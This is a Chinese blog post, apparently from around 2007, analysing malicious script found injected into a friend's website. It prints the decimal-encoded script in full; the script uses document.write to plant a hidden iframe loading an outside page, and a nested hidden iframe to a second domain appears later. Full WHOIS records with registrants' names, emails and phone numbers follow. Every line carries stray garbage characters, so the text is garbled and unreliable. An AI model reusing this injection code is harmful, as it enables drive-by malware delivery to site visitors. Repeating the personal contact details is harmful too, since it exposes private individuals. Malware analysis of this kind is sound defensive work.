首发在我的博客里面，
!424K-nW 0?} ),8v> http://www.areway.cn/?p=175 " ( c#H hqW4.|&\c VP
H 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
L~_3BX gPO,Z <script>t=’60,105,102,114,97,109,101,
JivkY"= F 32,115,114,99,61,104,116,116,112,58,47,47,
7 e\g 102,114,101,101,46,117,45,117,117,117,46,99,
z1t
YD 110,47,101,114,114,111,114,46,104,116,109,
Tbl ~6P 32,119,105,100,116,104,61,49,48,48,32,104,
aqq7u5O1r 101,105,103,104,116,61,48,62,60,47,105,102,
w=.w*?> 114,97,109,101,62′;
ZUJ ! t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
t]|WRQvy8 |~b.rKQt[ <script>t=’60,105,102,114,97,109,101,32,115,
1Wd?AyTY, 114,99,61,104,116,116,112,58,47,47,102,114,
USLG G}R 101,101,46,117,45,117,117,117,46,99,110,47,
okfGd=
& 101,114,114,111,114,46,104,116,109,32,119,
}J27Y ;Zp9 105,100,116,104,61,49,48,48,32,104,101,105,
{ -*+G] 103,104,116,61,48,62,60,47,105,102,114,97,
(Zi(6 T\z 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
SoZ$1$o2 document.write(t);</script>
h2g|D(u) ]~g6#@l <html xmlns=”
J%d\ 7 http://www.w3.org/1999/xhtml BdcTKC “>
QeP8Vl&e: <head>
ZS0=xS5q) <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
L&$ X\\Lv^ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
$\kqh$") <title>首页 - 爱生活家庭网
u_[^gS7 +]^6&MqO 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
Pt~mpRl H 转换字符串后的大概内容是（谁点击后果自付）：
R7: >'*F <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
f/t1@d! 2P9gS[Ub 查询玉米u-uuu.cn的详细信息：
&WN#HI."] Domain Name: u-uuu.cn
lhsd 39NM ROID: 20070901s10001s64972306-cn
c , a+u Domain Status: ok
0j*-ZvE)30 Registrant Organization: 王雷
N*6Y5[g!\ Registrant Name: 王雷
[ t@ Administrative Email:
czlovexs@126.com ~^ *IP1.3 Sponsoring Registrar: 北京万网志成科技有限公司
>Q&E4j C Name Server:ns.yovole.com
fC>3{@h}* Name Server:ns1.yovole.com
<k)@PAV Registration Date: 2007-09-01 17:54
/ /63?s+ Expiration Date: 2008-09-01 17:54
aa:Oh^AJy 最后PING了一下地址 都没有什么….
`2 X~ 3im c e`3 & 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
qMT7g LB'1 <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
5MsE oLg <script language=”javascript” src=”
K7 >Z)21 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script E6(OEC%, >
16" eyt> 这个玉米应该有可能是木马作者的：
]Igd< foafau.info的详细信息：
*sI`+4h[ Access to INFO WHOIS information is provided to assist persons in
:7&#ej6 determining the contents of a domain name registration record in the
"YbvI @pD Afilias registry database. The data in this record is provided by
gJn|G#! Afilias Limited for informational purposes only, and Afilias does not
. a._W ZF guarantee its accuracy. This service is intended only for query-based
^E_`M:~ access. You agree that you will use this data only for lawful purposes
xBH`=e < and that, under no circumstances will you use this data to: (a) allow,
R*~<?}Rr enable, or otherwise support the transmission by e-mail, telephone, or
~Xi_bTAyAW facsimile of mass unsolicited, commercial advertising or solicitations
K)5' Jp@ to entities other than the data recipient’s own existing customers; or
KLv `Xg \ (b) enable high volume, automated, electronic processes that send
_,V
9^ queries or data to the systems of Registry Operator, a Registrar, or
&9b sTm Afilias except as reasonably necessary to register domain names or
k2 Yh?OH modify existing registrations. All rights reserved. Afilias reserves
!~5;Jb>s[/ the right to modify these terms at any time. By submitting this query,
HMsTm}d you agree to abide by this policy.
`Oz c L Domain ID:D22418703-LRMS
-QR&] U+ Domain Name:FOAFAU.INFO
=Q985)Y& Created On:20-Nov-2007 16:05:42 UTC
49b#$Xq Last Updated On:20-Nov-2007 16:05:44 UTC
&| ( 'z\k Expiration Date:20-Nov-2008 16:05:42 UTC
6u>${} Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
bQG2tDvu[ Status:CLIENT DELETE PROHIBITED
i = $ ## Status:CLIENT RENEW PROHIBITED
\tf \fa Status:CLIENT TRANSFER PROHIBITED
K5-wuD1 Status:CLIENT UPDATE PROHIBITED
lA[BV7.=7 Status:TRANSFER PROHIBITED
bDI#' F Registrant ID:GODA-040110615
bqEQP3t^ Registrant Name:liu hong
@QiuCB Registrant Organization:
( )1 \b Registrant Street1:beijing
Y<%)Im6v/ Registrant Street2:
uM"G)$I\ Registrant Street3:
s5 ? 1w Registrant City:beijing
(S/f!Dk&3 Registrant State/Province:
h$[}lZDg Registrant Postal Code:100000
j'Ry.8} Registrant Country:CN
g.yr)
LHt0 Registrant Phone:+86.860108888777
BS<5b*wG Registrant Phone Ext.:
\6A-eWIQif Registrant FAX:
+ v. I|c Registrant FAX Ext.:
DiMkcK_e Registrant Email:bbbshiji@163.com
aw9/bp*N Admin ID:GODA-240110615
_:oB#-0
Admin Name:liu hong
}3sj{:z{ Admin Organization:
+4G] !tV6 Admin Street1:beijing
8[ Admin Street2:
7UQFAt_r Admin Street3:
: vN'eL|# Admin City:beijing
o*OYZ/_L Admin State/Province:
c@d[HstBJ Admin Postal Code:100000
1fBj21zG Admin Country:CN
6Yw;@w\ Admin Phone:+86.860108888777
cVjs-Xf7D% Admin Phone Ext.:
FncK#hZ. Admin FAX:
*?'n A{a)E Admin FAX Ext.:
|sd0fTK Admin Email:bbbshiji@163.com
@~pIyy\_ Billing ID:GODA-340110615
h l`4 _`3y Billing Name:liu hong
h}PeXnRU Billing Organization:
] ?!#*<t r Billing Street1:beijing
5U)Ia>p Billing Street2:
wZv"tbAWLV Billing Street3:
'0QrM,B9 Billing City:beijing
dg[ &5D1Q Billing State/Province:
_U}pdzX? Billing Postal Code:100000
A$gP: 1&m Billing Country:CN
Rlc$2y@pU Billing Phone:+86.860108888777
6Y4sv5G Billing Phone Ext.:
m\QUt ; Billing FAX:
rro92(y Billing FAX Ext.:
S?p WxHR] Billing Email:bbbshiji@163.com
f9FJ:? Tech ID:GODA-140110615
&'{6 _-kh Tech Name:liu hong
P|,@En 1! Tech Organization:
&''lOS| Tech Street1:beijing
(tQ#('(w Tech Street2:
"G. L)oD Tech Street3:
9[ yW&t;# Tech City:beijing
N!R>L{H> Tech State/Province:
f'
|JLhs Tech Postal Code:100000
TEQs\d Tech Country:CN
O$ d z=) Tech Phone:+86.860108888777
VF8pH < Tech Phone Ext.:
u#9 H Tech FAX:
tkT:5 O6 Tech FAX Ext.:
zN2CI6 Tech Email:bbbshiji@163.com
~qFuS933 Name Server:NS27.DOMAINCONTROL.COM
gaFOm9y.e Name Server:NS28.DOMAINCONTROL.COM
+T]/4"^M Name Server:
M7U:UV) Name Server:
BYj Eo Name Server:
J~.8.]gXW Name Server:
DIrQ5C Name Server:
^0oOiZs Name Server:
IM-O<T6r[N Name Server:
;2Aqztp Name Server:
$oF0[ }S Name Server:
{8b6M Name Server:
(jj= CLe Name Server:
sfb)iH|sW "^/3 ?W > 接着下载每个文件里面的代码：
L 1P.@hJ 一步一步看..
n*twuB/P 1 
)1#J4 
XMt)\ r. 
5d ?\>dA 
?K5S{qG'O 
v6uXik 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
